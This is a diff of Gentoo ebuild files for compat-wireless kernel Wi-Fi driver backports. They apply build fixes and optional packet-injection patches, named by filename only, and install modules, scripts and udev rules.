"${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch + epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch + epatch "${FILESDIR}"/compat-chaos.patch; + epatch "${FILESDIR}"/rtl8187-mac80211-injection-speed-2.6.30-rc3.patch + fi +} + +src_compile() { + addpredict "${KERNEL_DIR}" + set_arch_to_kernel + emake KVER="${KV_FULL}" || die "emake failed" +} + +src_install() { + for file in $(find -name \*.ko); do + insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})" + doins "${file}" || die "failed to install module ${file}" + done + dosbin scripts/athenable scripts/b43load scripts/iwl-enable \ + scripts/madwifi-unload scripts/athload scripts/iwl-load \ + scripts/modlib.sh scripts/b43enable scripts/load.sh \ + scripts/unload.sh || die "script installation failed" + dodoc README || die + dodir /$(get_libdir)/udev/rules.d/ + insinto /$(get_libdir)/udev/rules.d/ + doins udev/50-compat_firmware.rules + exeinto /$(get_libdir)/udev/ + doexe udev/compat_firmware.sh +} + +pkg_postinst() { + update_depmod + update_moduledb + einfo 'You may have problem if you do not run "depmod -ae" after this installation' + einfo 'To switch to the new drivers without reboot run unload.sh then load.sh' +} + +pkg_postrm() { + remove_moduledb +} diff --git a/net-wireless/compat-wireless/compat-wireless-2.6.33-r1.ebuild b/net-wireless/compat-wireless/compat-wireless-2.6.33-r1.ebuild new file mode 100644 index 00000000..ec5e9381 --- /dev/null +++ b/net-wireless/compat-wireless/compat-wireless-2.6.33-r1.ebuild @@ -0,0 +1,86 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="2" +inherit linux-mod linux-info versionator + +##Stable +MY_P=${P/_rc/-rc} +MY_PV=v$(get_version_component_range 1-3) +DESCRIPTION="Stable kernel pre-release wifi subsystem backport" +HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable" +SRC_URI="http://www.orbit-lab.org/kernel/${PN}-2.6-stable/${MY_PV}/${MY_P}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="amd64 x86" +IUSE="injection" + +DEPEND="" +RDEPEND="=sys-kernel/linux-firmware-99999999" + +S=${WORKDIR}/${MY_P} +RESTRICT="strip" + +CONFIG_CHECK="!DYNAMIC_FTRACE" + +pkg_setup() { + linux-mod_pkg_setup + kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed" + kernel_is -ge $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system." + linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !" + linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !" +} + +src_prepare() { + #whynot patch is against the makefile to fix general brokeness + epatch "${FILESDIR}"/whynot-2.6.32.patch + + if use injection; then + epatch "${FILESDIR}"/400[24]_*.patch + epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch + epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch + epatch "${FILESDIR}"/compat-chaos.patch; + epatch "${FILESDIR}"/rtl8187-mac80211-injection-speed-2.6.30-rc3.patch + fi +} + +src_compile() { + addpredict "${KERNEL_DIR}" + set_arch_to_kernel + emake KVER="${KV_FULL}" || die "emake failed" +} + +src_install() { + for file in $(find -name \*.ko); do + insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})" + doins "${file}" || die "failed to install module ${file}" + done + dosbin scripts/athenable scripts/b43load scripts/iwl-enable \ + scripts/madwifi-unload scripts/athload scripts/iwl-load \ + scripts/b43enable scripts/load.sh \ + scripts/unload.sh || die "script installation failed" + + dodir /usr/lib/compat-wireless + exeinto /usr/lib/compat-wireless + doexe scripts/modlib.sh || die + + dodoc README || die + dodir /$(get_libdir)/udev/rules.d/ + insinto /$(get_libdir)/udev/rules.d/ + doins udev/50-compat_firmware.rules + exeinto /$(get_libdir)/udev/ + doexe udev/compat_firmware.sh +} + +pkg_postinst() { + update_depmod + update_moduledb + einfo 'You may have problem if you do not run "depmod -ae" after this installation' + einfo 'To switch to the new drivers without reboot run unload.sh then load.sh' +} + +pkg_postrm() { + remove_moduledb +} diff --git a/net-wireless/compat-wireless/compat-wireless-2.6.34-r2.ebuild b/net-wireless/compat-wireless/compat-wireless-2.6.34-r2.ebuild new file mode 100644 index 00000000..e2bb72e4 --- /dev/null +++ b/net-wireless/compat-wireless/compat-wireless-2.6.34-r2.ebuild @@ -0,0 +1,105 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="2" +inherit linux-mod linux-info versionator + +##Stable +MY_P=${P/_rc/-rc} +MY_PV=v$(get_version_component_range 1-3) +DESCRIPTION="Stable kernel pre-release wifi subsystem backport" +HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable" +SRC_URI="http://www.orbit-lab.org/kernel/${PN}-2.6-stable/${MY_PV}/${MY_P}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="amd64 x86" +IUSE="injection tinyversionoverride" + +DEPEND="" +RDEPEND="=sys-kernel/linux-firmware-99999999" + +S=${WORKDIR}/${MY_P} +RESTRICT="strip" + +CONFIG_CHECK="!DYNAMIC_FTRACE" + +pkg_setup() { + linux-mod_pkg_setup + kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed" + kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system." + if kernel_is -eq $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3); then + if use tinyversionoverride; then + ewarn "You have the tinyversionoverride use flag set which means you know for a fact that your" + ewarn "kernel is older than the compat-wireless you are installing." + ewarn "Most likely you have no clue what you are doing and should hit control-C now" + ewarn "before you downgrade your system. Ten seconds to think about it." + epause 10 + else + ewarn "Your kernel version is most likely newer than the compat-wireless release you are" + ewarn "trying to install. If you are certain that your kernel is older then you can set" + ewarn "the tinyversionoverride use flag to override this safety check." + epause 5 + die "Your kernel version is too close to the compat-wireless version to risk installation." + fi + fi + linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !" + linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !" +} + +src_prepare() { + #whynot patch is against the makefile to fix general brokeness + epatch "${FILESDIR}"/whynot-2.6.32.patch + #0001 is a patch to fix monitor mode promisc for ath5k, a bug present for a very long time. + #this patch should be merged soon and no longer needed. + epatch "${FILESDIR}"/0001-ath5k-retain-promiscuous-setting.patch + + if use injection; then + epatch "${FILESDIR}"/400[24]_*.patch + epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch + epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch + epatch "${FILESDIR}"/compat-chaos.patch + epatch "${FILESDIR}"/rtl8187-mac80211-injection-speed-2.6.30-rc3.patch + epatch "${FILESDIR}"/super_secret_patch.diff + fi +} + +src_compile() { + addpredict "${KERNEL_DIR}" + set_arch_to_kernel + emake KVER="${KV_FULL}" || die "emake failed" +} + +src_install() { + for file in $(find -name \*.ko); do + insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})" + doins "${file}" || die "failed to install module ${file}" + done + dosbin scripts/athenable scripts/b43load scripts/iwl-enable \ + scripts/madwifi-unload scripts/athload scripts/iwl-load \ + scripts/b43enable scripts/load.sh \ + scripts/unload.sh || die "script installation failed" + + dodir /usr/lib/compat-wireless + exeinto /usr/lib/compat-wireless + doexe scripts/modlib.sh || die + + dodoc README || die + dodir /$(get_libdir)/udev/rules.d/ + insinto /$(get_libdir)/udev/rules.d/ + doins udev/50-compat_firmware.rules + exeinto /$(get_libdir)/udev/ + doexe udev/compat_firmware.sh +} + +pkg_postinst() { + update_depmod + update_moduledb + einfo 'You may have problem if you do not run "depmod -ae" after this installation' + einfo 'To switch to the new drivers without reboot run unload.sh then load.sh' +} + +pkg_postrm() { + remove_moduledb +} diff --git a/net-wireless/compat-wireless/compat-wireless-2.6.35-r1.ebuild b/net-wireless/compat-wireless/compat-wireless-2.6.35-r1.ebuild new file mode 100644 index 00000000..2c946dad --- /dev/null +++ b/net-wireless/compat-wireless/compat-wireless-2.6.35-r1.ebuild @@ -0,0 +1,147 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="2" +inherit linux-mod linux-info versionator eutils + +##Stable + +MY_P=${P/_rc/-rc} + +#remove the below line +MY_P=${PF/-r/-} +#remove the above line + +MY_PV=v$(get_version_component_range 1-3) +DESCRIPTION="Stable kernel pre-release wifi subsystem backport" +HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable" +SRC_URI="http://www.orbit-lab.org/kernel/${PN}-2.6-stable/${MY_PV}/${MY_P}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="amd64 x86" +IUSE="atheros_obey_crda debugfs debug-driver full-debug injection noleds tinyversionoverride" + +DEPEND="" +RDEPEND="=sys-kernel/linux-firmware-99999999" + +S=${WORKDIR}/${MY_P} +RESTRICT="strip" + +CONFIG_CHECK="!DYNAMIC_FTRACE" + +pkg_setup() { +# if ! version_is_at_least 4.4.3 "$(gcc-fullversion)"; then +# die +# fi + linux-mod_pkg_setup + kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed" + kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system." + if kernel_is -eq $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3); then + if use tinyversionoverride; then + ewarn "You have the tinyversionoverride use flag set which means you know for a fact that your" + ewarn "kernel is older than the compat-wireless you are installing." + ewarn "Most likely you have no clue what you are doing and should hit control-C now" + ewarn "before you downgrade your system. Ten seconds to think about it." + epause 10 + else + ewarn "Your kernel version is most likely newer than the compat-wireless release you are" + ewarn "trying to install. If you are certain that your kernel is older then you can set" + ewarn "the tinyversionoverride use flag to override this safety check." + epause 5 + die "Your kernel version is too close to the compat-wireless version to risk installation." + fi + fi + linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !" + linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !" +} + +src_prepare() { + #whynot patch is against the makefile to fix general brokeness + epatch "${FILESDIR}"/whynot-2.6.32.patch + + #this patch fixes a trivial typo in the config.mk + epatch "${FILESDIR}"/fix-typos-2.6.35_rc2.patch + + #this patch is needed to forcibly enable new ralink chips because the shipped config.mk doesn't enable them + epatch "${FILESDIR}"/force-enable-new-ralink.patch + epatch "${FILESDIR}"/force-enable-new-ralink-pci.patch + + #this patch is needed for general craziness of WEXT being removed from the kernel + epatch "${FILESDIR}"/WEXT-EXT-nuts.patch + + #test patch for fixing iwlagn issues + epatch "${FILESDIR}"/reinette-test2.patch + + #this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right + if use atheros_obey_crda; then + ewarn "You have enabled atheros_obey_crda which doesn't do what you think." + ewarn "This use flag will cause the eeprom of the card to be ignored and force" + ewarn "world roaming on the device until crda provides a valid regdomain." + ewarn "Short version, this is not a way to break the law, this will automatically" + ewarn "make your card less functional unless you set a proper regdomain with iw/crda." + ewarn "Pausing for 10 secs..." + epause 10 + epatch "${FILESDIR}"/ath_ignore_eeprom.patch + fi + + if use injection; then + epatch "${FILESDIR}"/400[24]_*.patch + epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch + epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch + epatch "${FILESDIR}"/compat-chaos.patch + epatch "${FILESDIR}"/rtl8187-mac80211-injection-speed-2.6.30-rc3.patch +# epatch "${FILESDIR}"/super_secret_patch.diff + fi + use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch + use debug-driver && epatch "${FILESDIR}"/driver-debug.patch + use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk + if use full-debug; then + if use debug-driver ; then + sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk + else + ewarn "Enabling full-debug includes debug-driver." + sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk + fi + fi +} + +src_compile() { + addpredict "${KERNEL_DIR}" + set_arch_to_kernel + emake KVER="${KV_FULL}" || die "emake failed" +} + +src_install() { + for file in $(find -name \*.ko); do + insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})" + doins "${file}" || die "failed to install module ${file}" + done + dosbin scripts/athenable scripts/b43load scripts/iwl-enable \ + scripts/madwifi-unload scripts/athload scripts/iwl-load \ + scripts/b43enable scripts/load.sh \ + scripts/unload.sh || die "script installation failed" + + dodir /usr/lib/compat-wireless + exeinto /usr/lib/compat-wireless + doexe scripts/modlib.sh || die + + dodoc README || die + dodir /$(get_libdir)/udev/rules.d/ + insinto /$(get_libdir)/udev/rules.d/ + doins udev/50-compat_firmware.rules + exeinto /$(get_libdir)/udev/ + doexe udev/compat_firmware.sh +} + +pkg_postinst() { + update_depmod + update_moduledb + einfo 'You may have problem if you do not run "depmod -ae" after this installation' + einfo 'To switch to the new drivers without reboot run unload.sh then load.sh' +} + +pkg_postrm() { + remove_moduledb +} diff --git a/net-wireless/compat-wireless/compat-wireless-2.6.36.ebuild b/net-wireless/compat-wireless/compat-wireless-2.6.36.ebuild new file mode 100644 index 00000000..340b734d --- /dev/null +++ b/net-wireless/compat-wireless/compat-wireless-2.6.36.ebuild @@ -0,0 +1,137 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="2" +inherit linux-mod linux-info versionator eutils + +##Stable + +MY_P=${P/_rc/-rc} + +MY_PV=v$(get_version_component_range 1-3) +DESCRIPTION="Stable kernel pre-release wifi subsystem backport" +HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable" +SRC_URI="http://www.orbit-lab.org/kernel/${PN}-2.6-stable/${MY_PV}/${MY_P}-5-spn.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="x86 amd64 arm" +IUSE="atheros_obey_crda debugfs debug-driver full-debug injection noleds tinyversionoverride" + +DEPEND="" +RDEPEND="=sys-kernel/linux-firmware-99999999" + +S="${WORKDIR}"/"${MY_P}"-5-spn +RESTRICT="strip" + +CONFIG_CHECK="!DYNAMIC_FTRACE" + +pkg_setup() { + linux-mod_pkg_setup + kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed" + kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system." + if kernel_is -eq $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3); then + if use tinyversionoverride; then + ewarn "You have the tinyversionoverride use flag set which means you know for a fact that your" + ewarn "kernel is older than the compat-wireless you are installing." + ewarn "Most likely you have no clue what you are doing and should hit control-C now" + ewarn "before you downgrade your system. Ten seconds to think about it." + epause 10 + else + ewarn "Your kernel version is most likely newer than the compat-wireless release you are" + ewarn "trying to install. If you are certain that your kernel is older then you can set" + ewarn "the tinyversionoverride use flag to override this safety check." + epause 5 + die "Your kernel version is too close to the compat-wireless version to risk installation." + fi + fi + linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !" + linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !" +} + +src_prepare() { + #this patch fixes a trivial typo in the config.mk + epatch "${FILESDIR}"/fix-typos-2.6.36_rc5.patch + + #this patch is needed to forcibly enable new ralink chips because the shipped config.mk doesn't enable them + epatch "${FILESDIR}"/force-enable-new-ralink-pci-2.6.36-rc5.patch + + #this may or may not HELP the channel -1 issue. this is not a fix + epatch "${FILESDIR}"/channel-negative-one-maxim.patch + + #test patch for fixing iwlagn issues + epatch "${FILESDIR}"/reinette-test2.patch + + #this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right + if use atheros_obey_crda; then + ewarn "You have enabled atheros_obey_crda which doesn't do what you think." + ewarn "This use flag will cause the eeprom of the card to be ignored and force" + ewarn "world roaming on the device until crda provides a valid regdomain." + ewarn "Short version, this is not a way to break the law, this will automatically" + ewarn "make your card less functional unless you set a proper regdomain with iw/crda." + ewarn "Pausing for 10 secs..." + epause 10 + epatch "${FILESDIR}"/ath_ignore_eeprom.patch + fi + + if use injection; then + epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch + epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch + epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch + epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch + epatch "${FILESDIR}"/compat-chaos.patch + epatch "${FILESDIR}"/rtl8187-mac80211-injection-speed-2.6.30-rc3.patch +# epatch "${FILESDIR}"/super_secret_patch.diff + fi + use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch + use debug-driver && epatch "${FILESDIR}"/driver-debug.patch + use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk + if use full-debug; then + if use debug-driver ; then + sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk + else + ewarn "Enabling full-debug includes debug-driver." + sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk + fi + fi +} + +src_compile() { + addpredict "${KERNEL_DIR}" + set_arch_to_kernel + emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed" +} + +src_install() { + for file in $(find -name \*.ko); do + insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})" + doins "${file}" || die "failed to install module ${file}" + done + dosbin scripts/athenable scripts/b43load scripts/iwl-enable \ + scripts/madwifi-unload scripts/athload scripts/iwl-load \ + scripts/b43enable scripts/load.sh \ + scripts/unload.sh || die "script installation failed" + + dodir /usr/lib/compat-wireless + exeinto /usr/lib/compat-wireless + doexe scripts/modlib.sh || die + + dodoc README || die + dodir /$(get_libdir)/udev/rules.d/ + insinto /$(get_libdir)/udev/rules.d/ + doins udev/50-compat_firmware.rules + exeinto /$(get_libdir)/udev/ + doexe udev/compat_firmware.sh +} + +pkg_postinst() { + update_depmod + update_moduledb + einfo 'You may have problem if you do not run "depmod -ae" after this installation' + einfo 'To switch to the new drivers without reboot run unload.sh then load.sh' +} + +pkg_postrm() { + remove_moduledb +} diff --git a/net-wireless/compat-wireless/compat-wireless-2.6.37-r7.ebuild b/net-wireless/compat-wireless/compat-wireless-2.6.37-r7.ebuild new file mode 100644 index 00000000..001337b7 --- /dev/null +++ b/net-wireless/compat-wireless/compat-wireless-2.6.37-r7.ebuild @@ -0,0 +1,139 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="2" +inherit linux-mod linux-info versionator eutils + +##Stable + +MY_P=${P/_rc/-rc} + +MY_PV=v$(get_version_component_range 1-3) +DESCRIPTION="Stable kernel pre-release wifi subsystem backport" +HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable" +CRAZY_VERSIONING="4-sn" +SRC_URI="http://www.orbit-lab.org/kernel/${PN}-2.6-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="x86 amd64 arm" +IUSE="atheros_obey_crda debugfs debug-driver full-debug injection noleds tinyversionoverride" + +DEPEND="" +RDEPEND="=sys-kernel/linux-firmware-99999999" + +S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING} +RESTRICT="strip" + +CONFIG_CHECK="!DYNAMIC_FTRACE" + +pkg_setup() { + linux-mod_pkg_setup + kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed" + kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system." + if kernel_is -eq $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3); then + if use tinyversionoverride; then + ewarn "You have the tinyversionoverride use flag set which means you know for a fact that your" + ewarn "kernel is older than the compat-wireless you are installing." + ewarn "Most likely you have no clue what you are doing and should hit control-C now" + ewarn "before you downgrade your system. Ten seconds to think about it." + epause 10 + else + ewarn "Your kernel version is most likely newer than the compat-wireless release you are" + ewarn "trying to install. If you are certain that your kernel is older then you can set" + ewarn "the tinyversionoverride use flag to override this safety check." + epause 5 + die "Your kernel version is too close to the compat-wireless version to risk installation." + fi + fi + linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !" + linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !" +} + +src_prepare() { + #this patch fixes a trivial typo in the config.mk + epatch "${FILESDIR}"/fix-typos-2.6.36_rc5.patch + + #this patch is needed to forcibly enable new ralink chips because the shipped config.mk doesn't enable them + epatch "${FILESDIR}"/force-enable-new-ralink-pci-2.6.36-rc5.patch + + #this may or may not HELP the channel -1 issue. this is not a fix + epatch "${FILESDIR}"/channel-negative-one-maxim.patch + + #add support for ubiquiti toy for Ray + epatch "${FILESDIR}"/ubnt-wifi-station-ext2.patch + + #this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right + if use atheros_obey_crda; then + ewarn "You have enabled atheros_obey_crda which doesn't do what you think." + ewarn "This use flag will cause the eeprom of the card to be ignored and force" + ewarn "world roaming on the device until crda provides a valid regdomain." + ewarn "Short version, this is not a way to break the law, this will automatically" + ewarn "make your card less functional unless you set a proper regdomain with iw/crda." + ewarn "Pausing for 10 secs..." + epause 10 + epatch "${FILESDIR}"/ath_ignore_eeprom.patch + fi + + if use injection; then + epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch + epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch + epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch + epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch +# epatch "${FILESDIR}"/compat-chaos.patch + epatch "${FILESDIR}"/rtl8187-mac80211-injection-speed-2.6.30-rc3.patch +# epatch "${FILESDIR}"/super_secret_patch.diff + epatch "${FILESDIR}"/ipw2200-inject.2.6.36.patch + fi + use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch + use debug-driver && epatch "${FILESDIR}"/driver-debug.patch + use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk + if use full-debug; then + if use debug-driver ; then + sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk + else + ewarn "Enabling full-debug includes debug-driver." + sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk + fi + fi +} + +src_compile() { + addpredict "${KERNEL_DIR}" + set_arch_to_kernel + emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed" +} + +src_install() { + for file in $(find -name \*.ko); do + insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})" + doins "${file}" || die "failed to install module ${file}" + done + dosbin scripts/athenable scripts/b43load scripts/iwl-enable \ + scripts/madwifi-unload scripts/athload scripts/iwl-load \ + scripts/b43enable scripts/unload.sh || die "script installation failed" + + dodir /usr/lib/compat-wireless + exeinto /usr/lib/compat-wireless + doexe scripts/modlib.sh || die + + dodoc README || die + dodir /$(get_libdir)/udev/rules.d/ + insinto /$(get_libdir)/udev/rules.d/ + doins udev/50-compat_firmware.rules + exeinto /$(get_libdir)/udev/ + doexe udev/compat_firmware.sh +} + +pkg_postinst() { + update_depmod + update_moduledb + einfo 'You may have problem if you do not run "depmod -ae" after this installation' + einfo 'To switch to the new drivers without reboot run unload.sh then load + your needed driver.' +} + +pkg_postrm() { + remove_moduledb +} diff --git a/net-wireless/compat-wireless/compat-wireless-2.6.37-r8.ebuild b/net-wireless/compat-wireless/compat-wireless-2.6.37-r8.ebuild new file mode 100644 index 00000000..f0933d65 --- /dev/null +++ b/net-wireless/compat-wireless/compat-wireless-2.6.37-r8.ebuild @@ -0,0 +1,147 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="2" +inherit linux-mod linux-info versionator eutils flag-o-matic + +##Stable + +MY_P=${P/_rc/-rc} + +MY_PV=v$(get_version_component_range 1-3) +DESCRIPTION="Stable kernel pre-release wifi subsystem backport" +HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable" +CRAZY_VERSIONING="4-sn" +SRC_URI="http://www.orbit-lab.org/kernel/${PN}-2.6-stable/${MY_PV}/${MY_P}-${CRAZY_VERSIONING}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="x86 amd64 arm" +IUSE="atheros_obey_crda debugfs debug-driver full-debug injection noleds tinyversionoverride n900" + +DEPEND="" +RDEPEND="!arm? ( =sys-kernel/linux-firmware-99999999 )" + +S="${WORKDIR}"/"${MY_P}"-${CRAZY_VERSIONING} +RESTRICT="strip" + +#CONFIG_CHECK="!DYNAMIC_FTRACE" + +pkg_setup() { + linux-mod_pkg_setup + kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed" + kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system." + if kernel_is -eq $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3); then + if use tinyversionoverride; then + ewarn "You have the tinyversionoverride use flag set which means you know for a fact that your" + ewarn "kernel is older than the compat-wireless you are installing." + ewarn "Most likely you have no clue what you are doing and should hit control-C now" + ewarn "before you downgrade your system. Ten seconds to think about it." + epause 10 + else + ewarn "Your kernel version is most likely newer than the compat-wireless release you are" + ewarn "trying to install. If you are certain that your kernel is older then you can set" + ewarn "the tinyversionoverride use flag to override this safety check." + epause 5 + die "Your kernel version is too close to the compat-wireless version to risk installation." + fi + fi + linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !" + linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !" +} + +src_prepare() { + #this patch fixes a trivial typo in the config.mk + epatch "${FILESDIR}"/fix-typos-2.6.36_rc5.patch + + #this patch is needed to forcibly enable new ralink chips because the shipped config.mk doesn't enable them + epatch "${FILESDIR}"/force-enable-new-ralink-pci-2.6.36-rc5.patch + + #this may or may not HELP the channel -1 issue. this is not a fix + # this breaks wl1251 patches + #epatch "${FILESDIR}"/channel-negative-one-maxim.patch + + #add support for ubiquiti toy for Ray + epatch "${FILESDIR}"/ubnt-wifi-station-ext2.patch + + #this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right + if use atheros_obey_crda; then + ewarn "You have enabled atheros_obey_crda which doesn't do what you think." + ewarn "This use flag will cause the eeprom of the card to be ignored and force" + ewarn "world roaming on the device until crda provides a valid regdomain." + ewarn "Short version, this is not a way to break the law, this will automatically" + ewarn "make your card less functional unless you set a proper regdomain with iw/crda." + ewarn "Pausing for 10 secs..." + epause 10 + epatch "${FILESDIR}"/ath_ignore_eeprom.patch + fi + + if use injection; then + epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch + epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch + epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch + epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch +# epatch "${FILESDIR}"/compat-chaos.patch + epatch "${FILESDIR}"/rtl8187-mac80211-injection-speed-2.6.30-rc3.patch +# epatch "${FILESDIR}"/super_secret_patch.diff + epatch "${FILESDIR}"/ipw2200-inject.2.6.36.patch + if use arm; then + epatch "${FILESDIR}"/wl1251-inject-2.6.37.patch + fi + fi + use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch + use debug-driver && epatch "${FILESDIR}"/driver-debug.patch + use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk + if use full-debug; then + if use debug-driver ; then + sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk + else + ewarn "Enabling full-debug includes debug-driver." + sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk + fi + fi +} + +src_compile() { + export LDFLAGS=$(raw-ldflags) + addpredict "${KERNEL_DIR}" + set_arch_to_kernel + if use n900; then + ./scripts/driver-select wl1251 + fi + emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed" +} + +src_install() { + for file in $(find -name \*.ko); do + insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})" + doins "${file}" || die "failed to install module ${file}" + done + dosbin scripts/athenable scripts/b43load scripts/iwl-enable \ + scripts/madwifi-unload scripts/athload scripts/iwl-load \ + scripts/b43enable scripts/unload.sh || die "script installation failed" + + dodir /usr/lib/compat-wireless + exeinto /usr/lib/compat-wireless + doexe scripts/modlib.sh || die + + dodoc README || die + dodir /$(get_libdir)/udev/rules.d/ + insinto /$(get_libdir)/udev/rules.d/ + doins udev/50-compat_firmware.rules + exeinto /$(get_libdir)/udev/ + doexe udev/compat_firmware.sh +} + +pkg_postinst() { + update_depmod + update_moduledb + einfo 'You may have problem if you do not run "depmod -ae" after this installation' + einfo 'To switch to the new drivers without reboot run unload.sh then load + your needed driver.' +} + +pkg_postrm() { + remove_moduledb +} diff --git a/net-wireless/compat-wireless/compat-wireless-2.6.38.2-r1.ebuild 